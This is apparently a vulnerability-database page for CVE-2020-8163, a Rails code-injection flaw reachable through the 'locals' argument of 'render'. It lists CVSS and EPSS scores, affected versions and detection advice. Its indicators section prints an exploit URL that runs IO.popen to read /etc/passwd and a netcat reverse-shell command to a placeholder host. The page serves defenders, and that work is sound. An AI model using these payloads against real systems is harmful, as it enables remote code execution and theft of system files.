cbcvebase.
CVE-2020-8163
published 2020-07-02

CVE-2020-8163: The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call…

PriorityP278high8.8CVSS 3.1
AVNACLPRLUINSUCHIHAH
EXPLOIT
EPSS
82.05%
99.6th percentile
The is a code injection vulnerability in versions of Rails prior to 5.0.1 that wouldallow an attacker who controlled the `locals` argument of a `render` call to perform a RCE.

Affected

9 ranges
VendorProductVersion rangeFixed in
debiandebian_linux
debianrails< rails 2:5.2.0+dfsg-2 (bookworm)rails 2:5.2.0+dfsg-2 (bookworm)
httpsgithub.com_rails_rails
railsactionview>= 0 < 4.2.11.34.2.11.3
rubyonrailsrails< 5.0.15.0.1
rubyonrailsrails>= 0 < 2:5.2.0+dfsg-22:5.2.0+dfsg-2
rubyonrailsrails>= 0 < 2:5.2.0+dfsg-22:5.2.0+dfsg-2
rubyonrailsrails>= 0 < 2:5.2.0+dfsg-22:5.2.0+dfsg-2
rubyonrailsrails>= 0 < 2:5.2.0+dfsg-22:5.2.0+dfsg-2

Detection & IOCsextracted from sources · hover to see the quote

url{{BaseURL}}?IO.popen(%27cat%20%2Fetc%2Fpasswd%27).read%0A%23
commandsystem('nc+-e+/bin/sh+<ip>+<port>')
  • Look for GET requests where query string parameters contain Ruby code patterns such as URL-encoded `IO.popen`, `system(`, or backtick execution — these indicate exploitation of the `locals` argument injection into Rails `render` partials.
  • Monitor HTTP responses for `/etc/passwd` content (matching `root:.*:0:0:`) in response bodies, indicating successful RCE via the CVE-2020-8163 exploit path.
  • Audit Rails applications for user-controlled input reaching the `locals` argument of a `render` call, particularly in `actionview/lib/action_view/template.rb` and `activesupport/lib/active_support/core_ext/module/delegation.rb`.
  • ·Exploitation requires the attacker to control the name of a local variable passed into `render`; not all Rails applications expose this attack surface.

CVSS provenance

nvdv3.18.8HIGHCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
nvdv2.06.5MEDIUMAV:N/AC:L/Au:S/C:P/I:P/A:P
osv8.8HIGH
vendor_debian8.8HIGH
vendor_redhat8.8HIGH
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